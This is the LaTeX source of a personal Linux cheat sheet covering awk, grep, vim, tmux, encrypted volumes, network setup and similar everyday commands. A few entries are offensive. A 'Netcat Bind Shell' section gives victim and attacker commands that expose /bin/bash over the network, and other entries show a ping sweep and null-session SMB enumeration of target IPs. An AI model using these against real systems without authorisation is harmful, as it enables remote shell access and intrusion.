\documentclass[10pt,a4paper]{article} % Packages \usepackage{fancyhdr} % For header and footer \usepackage{multicol} % Allows multicols in tables \usepackage{tabularx} % Intelligent column widths \usepackage{tabulary} % Used in header and footer \usepackage{hhline} % Border under tables \usepackage{graphicx} % For images \usepackage{xcolor} % For hex colours %\usepackage[utf8x]{inputenc} % For unicode character support \usepackage[T1]{fontenc} % Without this we get weird character replacements \usepackage{colortbl} % For coloured tables \usepackage{setspace} % For line height \usepackage{lastpage} % Needed for total page number \usepackage{seqsplit} % Splits long words. %\usepackage{opensans} % Can't make this work so far. Shame. Would be lovely. \usepackage[normalem]{ulem} % For underlining links % Most of the following are not required for the majority % of cheat sheets but are needed for some symbol support. \usepackage{amsmath} % Symbols \usepackage{MnSymbol} % Symbols \usepackage{wasysym} % Symbols %\usepackage[english,german,french,spanish,italian]{babel} % Languages % Document Info \author{fred} \pdfinfo{ /Title (linux-things-i-forget.pdf) /Creator (Cheatography) /Author (fred) /Subject (Linux Things I Forget Cheat Sheet) } % Lengths and widths \addtolength{\textwidth}{6cm} \addtolength{\textheight}{-1cm} \addtolength{\hoffset}{-3cm} \addtolength{\voffset}{-2cm} \setlength{\tabcolsep}{0.2cm} % Space between columns \setlength{\headsep}{-12pt} % Reduce space between header and content \setlength{\headheight}{85pt} % If less, LaTeX automatically increases it \renewcommand{\footrulewidth}{0pt} % Remove footer line \renewcommand{\headrulewidth}{0pt} % Remove header line \renewcommand{\seqinsert}{\ifmmode\allowbreak\else\-\fi} % Hyphens in seqsplit % This two commands together give roughly % the right line height in the tables \renewcommand{\arraystretch}{1.3} \onehalfspacing % Commands \newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour \newcommand{\mymulticolumn}[3]{\multicolumn{#1}{>{\columncolor{\RowColorName}}#2}{#3}} % For coloured multi-cols \newcolumntype{x}[1]{>{\raggedright}p{#1}} % New column types for ragged-right paragraph columns \newcommand{\tn}{\tabularnewline} % Required as custom column type in use % Font and Colours \definecolor{HeadBackground}{HTML}{333333} \definecolor{FootBackground}{HTML}{666666} \definecolor{TextColor}{HTML}{333333} \definecolor{DarkBackground}{HTML}{A30202} \definecolor{LightBackground}{HTML}{FCF7F7} \renewcommand{\familydefault}{\sfdefault} \color{TextColor} % Header and Footer \pagestyle{fancy} \fancyhead{} % Set header to blank \fancyfoot{} % Set footer to blank \fancyhead[L]{ \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{C} \SetRowColor{DarkBackground} \vspace{-7pt} {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}} } \end{tabulary} \columnbreak \begin{tabulary}{11cm}{L} \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{Linux Things I Forget Cheat Sheet}}}} \\ \normalsize{by \textcolor{DarkBackground}{fred} via \textcolor{DarkBackground}{\uline{cheatography.com/22666/cs/9068/}}} \end{tabulary} \end{multicols}} \fancyfoot[L]{ \footnotesize \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{LL} \SetRowColor{FootBackground} \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}} \\ \vspace{-2pt}fred \\ \uline{cheatography.com/fred} \\ \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}} \\ \vspace{-2pt}Published 9th September, 2016.\\ Updated 12th October, 2016.\\ Page {\thepage} of \pageref{LastPage}. \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}} \\ \SetRowColor{white} \vspace{-5pt} %\includegraphics[width=48px,height=48px]{dave.jpeg} Measure your website readability!\\ www.readability-score.com \end{tabulary} \end{multicols}} \begin{document} \raggedright \raggedcolumns % Set font size to small. Switch to any value % from this page to resize cheat sheet text: % www.emerson.emory.edu/services/latex/latex_169.html \footnotesize % Small font. \begin{multicols*}{4} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{AWK | CAT | GREP}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{AWK}} \newline % Row Count 1 (+ 1) {\bf{Find line number of IP}} \newline % Row Count 2 (+ 1) `awk '/197.128.145.39/\{ print NR; exit \}' ips.txt` \newline % Row Count 4 (+ 2) {\bf{CAT}} \newline % Row Count 5 (+ 1) {\bf{With line numbers}} \newline % Row Count 6 (+ 1) cat -n file.txt \newline % Row Count 7 (+ 1) {\bf{GREP}} \newline % Row Count 8 (+ 1) grep "href=" index.html | cut -d"/" -f3 | grep icq.com | sort -u \textgreater{} icqserver.txt \newline % Row Count 10 (+ 2) {\bf{Count occurences of \textbackslash{}x in 1906.py}} \newline % Row Count 11 (+ 1) cat 1906.py | grep -o \textbackslash{}x |wc -l \newline % Row Count 12 (+ 1) {\bf{Find line number of IP}} \newline % Row Count 13 (+ 1) grep -n 197.128.145.39 ips.txt% Row Count 14 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Network}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{Show all eth network interfaces, e.g. eth0, eth1... \newline % Row Count 2 (+ 2) `dmesg | grep \textasciicircum{}eth` \newline % Row Count 3 (+ 1) {\bf{Restart Networking}} \newline % Row Count 4 (+ 1) `sudo service network-manager restart` \newline % Row Count 5 (+ 1) {\bf{Whatportis}} \newline % Row Count 6 (+ 1) `pip install whatportis` \newline % Row Count 7 (+ 1) `whatportis 21` \newline % Row Count 8 (+ 1) {\bf{CIDR Calculation}} \newline % Row Count 9 (+ 1) `sudo apt-get install sipcalc` \newline % Row Count 10 (+ 1) `sipcalc 192.168.1.0/24`% Row Count 11 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{DIFF \& NDIFF (File Comparison)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{`diff file1 file2` (compare files line by line) \newline % Row Count 1 (+ 1) `ndiff file1 file2` (compare 2 nmap scans for changes)% Row Count 3 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Boot Process}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{1. Power on \newline % Row Count 1 (+ 1) 2. BIOS \newline % Row Count 2 (+ 1) 3. MBR - 1st sector of HDD \newline % Row Count 3 (+ 1) 4. GRUB \newline % Row Count 4 (+ 1) 5. Kernel \newline % Row Count 5 (+ 1) 6. initramfs - Initial RAM disk \newline % Row Count 6 (+ 1) 7. init - /sbin/init (daemons and services) \newline % Row Count 7 (+ 1) 8. Command shell using getty \newline % Row Count 8 (+ 1) 9. GUI - X Windows \newline % Row Count 9 (+ 1) {\bf{Disable services from loading on login}} \newline % Row Count 10 (+ 1) `systemctl disable apache2` (disable apache from auto-starting on boot/login)% Row Count 12 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Unicode}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{\seqsplit{http://superuser.com/questions/59418/how-to-type-special-characters-in-linux} \newline % Row Count 2 (+ 2) {\bf{Example - RTL Override}} \newline % Row Count 3 (+ 1) Hold CTRL+SHIFT+U, then type in 202e \newline % Row Count 4 (+ 1) The invisible right-to-left override character will be inserted and anything typed after this character will be backwards.% Row Count 7 (+ 3) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Command Line Cheatsheet}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{Create and view interactive cheatsheets on the command-line! \newline % Row Count 2 (+ 2) {\bf{Set editor in path}} \newline % Row Count 3 (+ 1) `nano .bashrc` (in your home directory) \newline % Row Count 4 (+ 1) `export EDITOR="/bin/nano"` \newline % Row Count 5 (+ 1) {\bf{Install and use cheat}} \newline % Row Count 6 (+ 1) `sudo pip install cheat` \newline % Row Count 7 (+ 1) `cheat netstat` \newline % Row Count 8 (+ 1) Cheatsheets are stored in \textasciitilde{}/.cheat/ \newline % Row Count 9 (+ 1) {\bf{Edit a cheatsheet}} \newline % Row Count 10 (+ 1) `cheat -e foo`% Row Count 11 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{ASCII Table \& Calculator}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{`man ascii` (show ascii table) \newline % Row Count 1 (+ 1) `bc` (command line calculator)% Row Count 2 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Permissions}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{Change ownership}} \newline % Row Count 1 (+ 1) `sudo chown username filename` \newline % Row Count 2 (+ 1) {\bf{Clone ownership}} \newline % Row Count 3 (+ 1) `chown -{}-reference=otherfile thisfile`% Row Count 4 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{FIND}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{Case insensitive -iname}} \newline % Row Count 1 (+ 1) `sudo find -iname fileorfoldername` \newline % Row Count 2 (+ 1) `sudo find -iname fileorfoldername* `% Row Count 3 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{XARGS}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{Pingsweep}} \newline % Row Count 1 (+ 1) `echo 192.168.9.\{200..250\} | xargs -n 1 -P0 ping -c 1 | grep "bytes from" ` \newline % Row Count 3 (+ 2) {\bf{Run command against files from find}} \newline % Row Count 4 (+ 1) `find * | xargs exiftool` (Run exiftool against all files in current directory and subdirectories)% Row Count 6 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{TREE (Directory Tree)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{Show a directory tree}} \newline % Row Count 1 (+ 1) `tree directoryname`% Row Count 2 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Monitoring \& Processes}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{WATCH}} \newline % Row Count 1 (+ 1) `watch ls` (run ls every 2secs) \newline % Row Count 2 (+ 1) {\bf{TOP}} \newline % Row Count 3 (+ 1) `top` (view processes in detail) \newline % Row Count 4 (+ 1) `htop` (better alternative) \newline % Row Count 5 (+ 1) {\bf{CRON JOBS}} \newline % Row Count 6 (+ 1) `crontab -e` (list and edit cronjobs) \newline % Row Count 7 (+ 1) Generate your crontab line easily: \newline % Row Count 8 (+ 1) \seqsplit{http://crontab-generator.org/}% Row Count 9 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{SSL Certificates}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{\{\{literal\}\}Follow instructions at - https://certbot.eff.org/ \newline % Row Count 2 (+ 2) To generate an auto-renewal cronjob - \seqsplit{http://crontab-generator.org/} \newline % Row Count 4 (+ 2) EXAMPLE: \newline % Row Count 5 (+ 1) crontab -e \newline % Row Count 6 (+ 1) 17 3 {\emph{ }} * /root/certbot-auto renew -{}-quiet -{}-no-self-upgrade% Row Count 8 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Hotkeys}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{Nautilus (Switch views) \newline % Row Count 1 (+ 1) CTRL+1 \newline % Row Count 2 (+ 1) CTRL+2 \newline % Row Count 3 (+ 1) CTRL+3 \newline % Row Count 4 (+ 1) CTRL+H (show hidden) \newline % Row Count 5 (+ 1) CTRL+L (show location) \newline % Row Count 6 (+ 1) Nautilus Graphical Mode Search \newline % Row Count 7 (+ 1) ALT+F2 \newline % Row Count 8 (+ 1) Deleted files go to "\textasciitilde{}/.local/share/Trash/files/" \newline % Row Count 9 (+ 1) Delete or CTRL+Delete = Move to Trash \newline % Row Count 10 (+ 1) Shift+Delete = Permanent Delete% Row Count 11 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{VI \& VIM}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{I / INS = Insert Mode \newline % Row Count 1 (+ 1) {\bf{SELECTING TEXT}} \newline % Row Count 2 (+ 1) v = select range \newline % Row Count 3 (+ 1) V = select entire line \newline % Row Count 4 (+ 1) d = delete selected text \newline % Row Count 5 (+ 1) {\bf{COPY/PASTE}} \newline % Row Count 6 (+ 1) y = copy selection \newline % Row Count 7 (+ 1) yy = copy line \newline % Row Count 8 (+ 1) p = paste before cursor \newline % Row Count 9 (+ 1) {\bf{DELETE}} \newline % Row Count 10 (+ 1) dd = delete line \newline % Row Count 11 (+ 1) x = cut selected text \newline % Row Count 12 (+ 1) d\$ = delete from cursor to end of line \newline % Row Count 13 (+ 1) {\bf{UNDO / REDO}} \newline % Row Count 14 (+ 1) u = undo last action \newline % Row Count 15 (+ 1) CTRL+R = redo last action \newline % Row Count 16 (+ 1) {\bf{EXIT}} \newline % Row Count 17 (+ 1) ZZ = save and quit \newline % Row Count 18 (+ 1) :w = save \newline % Row Count 19 (+ 1) :q! = quit without saving \newline % Row Count 20 (+ 1) {\bf{FIND AND REPLACE}} \newline % Row Count 21 (+ 1) :\%s/eth0/br0/g = find eth0 and replace with br0 \newline % Row Count 22 (+ 1) :\%s\#\textless{}/font\textgreater{}\#blah\#g = find \textless{}/font\textgreater{} and replace with blah% Row Count 24 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{NANO}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{Copy and Paste}} \newline % Row Count 1 (+ 1) ALT+6 and CTRL+U \newline % Row Count 2 (+ 1) {\bf{Show line numbers}} \newline % Row Count 3 (+ 1) `nano -c filename `% Row Count 4 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Output}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{To screen and file}} \newline % Row Count 1 (+ 1) `command1 2\textgreater{}\&1 | tee log.txt` \newline % Row Count 2 (+ 1) `ls -al | tee file.txt` \newline % Row Count 3 (+ 1) {\bf{Append to screen and file}} \newline % Row Count 4 (+ 1) `command1 | tee -a log.txt`% Row Count 5 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Multiple Commands}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{`cat rubbish.txt; ls`% Row Count 1 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Netcat Bind Shell}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{Victim}} \newline % Row Count 1 (+ 1) `nc -lvvp 2345 -e /bin/bash` \newline % Row Count 2 (+ 1) {\bf{Attacker}} \newline % Row Count 3 (+ 1) `nc -vn 192.168.1.177 2345`% Row Count 4 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Base64 Encode \& Decode}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{`python` \newline % Row Count 1 (+ 1) \seqsplit{`"blah".encode('base64')`} \newline % Row Count 2 (+ 1) \seqsplit{`"YXNjaWkxLnR4dA==".decode('base64')`}% Row Count 3 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Encrypted Volumes}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{\seqsplit{http://askubuntu.com/questions/63594/mount-encrypted-volumes-from-command-line\#63598} \newline % Row Count 2 (+ 2) `sudo apt-get install cryptsetup` \newline % Row Count 3 (+ 1) {\bf{Decrypt \& Mount}} \newline % Row Count 4 (+ 1) `sudo cryptsetup luksOpen /dev/sda1 my\_encrypted\_volume` \newline % Row Count 6 (+ 2) `sudo mkdir /media/my\_device` \newline % Row Count 7 (+ 1) `sudo mount \seqsplit{/dev/mapper/my\_encrypted\_volume} /media/my\_device` \newline % Row Count 9 (+ 2) {\bf{Unmount \& Lock}} \newline % Row Count 10 (+ 1) `sudo umount /media/my\_device` \newline % Row Count 11 (+ 1) `sudo cryptsetup luksClose my\_encrypted\_volume` \newline % Row Count 12 (+ 1) {\bf{Auto-mount to Location}} \newline % Row Count 13 (+ 1) `sudo udisks -{}-mount \seqsplit{/dev/mapper/my\_encrypted\_volume`}% Row Count 15 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{IP Assignment}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{MANUAL}} \newline % Row Count 1 (+ 1) {\bf{Note:}} Changes are nonpersistent. To make changes permanent, edit /etc/network/interfaces file. \newline % Row Count 3 (+ 2) `ifconfig eth0 192.168.72.100/24` (configure IP) \newline % Row Count 4 (+ 1) `route add default gw 192.168.72.2` (add gateway) \newline % Row Count 5 (+ 1) `echo nameserver 4.2.2.2 \textgreater{} etc/resolv.conf` (add DNS to resolv.conf) \newline % Row Count 7 (+ 2) {\bf{AUTO}} \newline % Row Count 8 (+ 1) `dhclient eth0` \newline % Row Count 9 (+ 1) `ifconfig` \newline % Row Count 10 (+ 1) `killall dhclient` \newline % Row Count 11 (+ 1) `ps -ef | grep dhclient`% Row Count 12 (+ 1) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{Proxychains}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{\seqsplit{http://proxychains.sourceforge.net/howto.html} \newline % Row Count 1 (+ 1) `/etc/proxychains.conf` (usage info) \newline % Row Count 2 (+ 1) `proxychains firefox google.com` \newline % Row Count 3 (+ 1) Resolve google.com through proxy specified by proxychains.conf% Row Count 5 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{SMB (Samba, NETBIOS)}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{{\bf{RPCClient}} \newline % Row Count 1 (+ 1) \seqsplit{http://carnal0wnage.attackresearch.com/2010/06/more-with-rpcclient.html} \newline % Row Count 3 (+ 2) `enum4linux -U -o 192.168.1.200` \newline % Row Count 4 (+ 1) {\bf{SMBClient}} \newline % Row Count 5 (+ 1) `smbclient -L //TARGETIP` (list shares) \newline % Row Count 6 (+ 1) `smbclient //TARGETIP/tmp` (connect to tmp folder) \newline % Row Count 8 (+ 2) `smbclient -I 192.168.92.131 -R virnet.com -N -U` (capital i, -R = domain, -N = no pass, -U = user)% Row Count 11 (+ 3) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{TMUX}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{\seqsplit{https://danielmiessler.com/study/tmux/} \newline % Row Count 1 (+ 1) `ssh blah@x.x.x.x` \newline % Row Count 2 (+ 1) `tmux` \newline % Row Count 3 (+ 1) `nmap -A etc...` \newline % Row Count 4 (+ 1) CTRL+B, D (to exit and keep session running) \newline % Row Count 5 (+ 1) {\bf{If the session dies}} \newline % Row Count 6 (+ 1) `ssh blah@x.x.x.x` \newline % Row Count 7 (+ 1) `tmux attach` (to connect to first available session)% Row Count 9 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{3.833cm}{X} \SetRowColor{DarkBackground} \mymulticolumn{1}{x{3.833cm}}{\bf\textcolor{white}{VNC Server}} \tn \SetRowColor{white} \mymulticolumn{1}{x{3.833cm}}{`apt-get install tightvncserver` \newline % Row Count 1 (+ 1) `vncserver` \newline % Row Count 2 (+ 1) You will require a password to access your desktops... \newline % Row Count 4 (+ 2) View only password? n \newline % Row Count 5 (+ 1) `netstat -antp | grep vnc` (usually runs on port 5901)% Row Count 7 (+ 2) } \tn \hhline{>{\arrayrulecolor{DarkBackground}}-} \end{tabularx} \par\addvspace{1.3em} % That's all folks \end{multicols*} \end{document}